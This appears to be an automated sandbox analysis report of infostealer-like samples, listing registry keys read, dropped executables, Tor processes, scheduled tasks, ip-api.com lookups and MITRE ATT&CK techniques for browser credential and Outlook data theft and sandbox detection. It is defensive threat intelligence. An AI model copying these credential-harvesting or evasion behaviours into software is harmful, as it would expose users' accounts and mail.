gurcu | c1cf5b9e51a15716cdc658c0661f5c7a2cfceb7d44c7c9f426e214708c25a02f

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	7tv8YBc7VT8b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	RF6tg7YH.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe

Executes dropped EXE 40 IoCs

pid	Process
7748	7tv8YBc7VT8b.exe
7740	RF6tg7YH.exe
5444	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
7268	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
3900	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
7916	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
7176	fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
9144	RF6tg7YH.exe
9124	7tv8YBc7VT8b.exe
6000	tor.exe
2132	tor.exe
5176	RF6tg7YH.exe
8456	7tv8YBc7VT8b.exe
7632	fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
5184	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
5644	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
4728	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
5380	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
8620	Conhost.exe
6288	netsh.exe
2508	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
9416	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
6932	tor.exe
9576	tor.exe
4060	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
2500	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
7124	tor.exe
8776	tor.exe
10136	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
6136	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
5748	tor.exe
6612	tor.exe
5996	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
7884	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
6508	tor.exe
7380	tor.exe
10328	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
10336	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
10528	tor.exe
10556	tor.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 54 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	b61bf90d390c8e8277e8dd42f5f279f1aa1542185fb8f45e6416ac30ee9ad9b6.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	7tv8YBc7VT8b.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RF6tg7YH.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	0e750fdf87d5db48b182f344f666588d5e293b174bb9699ff6b7bc1f17dce12e.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	0e750fdf87d5db48b182f344f666588d5e293b174bb9699ff6b7bc1f17dce12e.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RF6tg7YH.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	b61bf90d390c8e8277e8dd42f5f279f1aa1542185fb8f45e6416ac30ee9ad9b6.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	7tv8YBc7VT8b.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	b61bf90d390c8e8277e8dd42f5f279f1aa1542185fb8f45e6416ac30ee9ad9b6.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	7tv8YBc7VT8b.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	0e750fdf87d5db48b182f344f666588d5e293b174bb9699ff6b7bc1f17dce12e.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	7tv8YBc7VT8b.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RF6tg7YH.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RF6tg7YH.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RF6tg7YH.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RF6tg7YH.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	7tv8YBc7VT8b.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	7tv8YBc7VT8b.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
398	ip-api.com
592	ip-api.com
819	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
9088	schtasks.exe
9072	schtasks.exe
6992	schtasks.exe
6196	schtasks.exe
4116	schtasks.exe
8028	schtasks.exe
8036	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133438792017859917"	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1873812795-1433807462-1429862679-1000\{1668ACEC-0BE7-4D8A-BC7F-F2216C17C55C}	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000_Classes\Local Settings	taskmgr.exe

Runs ping.exe 1 TTPs 7 IoCs

Remote System Discovery

T1018

pid	Process
7348	PING.EXE
8152	PING.EXE
7276	PING.EXE
7360	PING.EXE
7464	PING.EXE
7452	PING.EXE
7400	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5020	chrome.exe
5020	chrome.exe
1748	msedge.exe
1748	msedge.exe
4168	msedge.exe
4168	msedge.exe
5932	identity_helper.exe
5932	identity_helper.exe
2140	chrome.exe
2140	chrome.exe
6340	msedge.exe
6340	msedge.exe
6340	msedge.exe
6340	msedge.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6328	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 28 IoCs

pid	Process
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
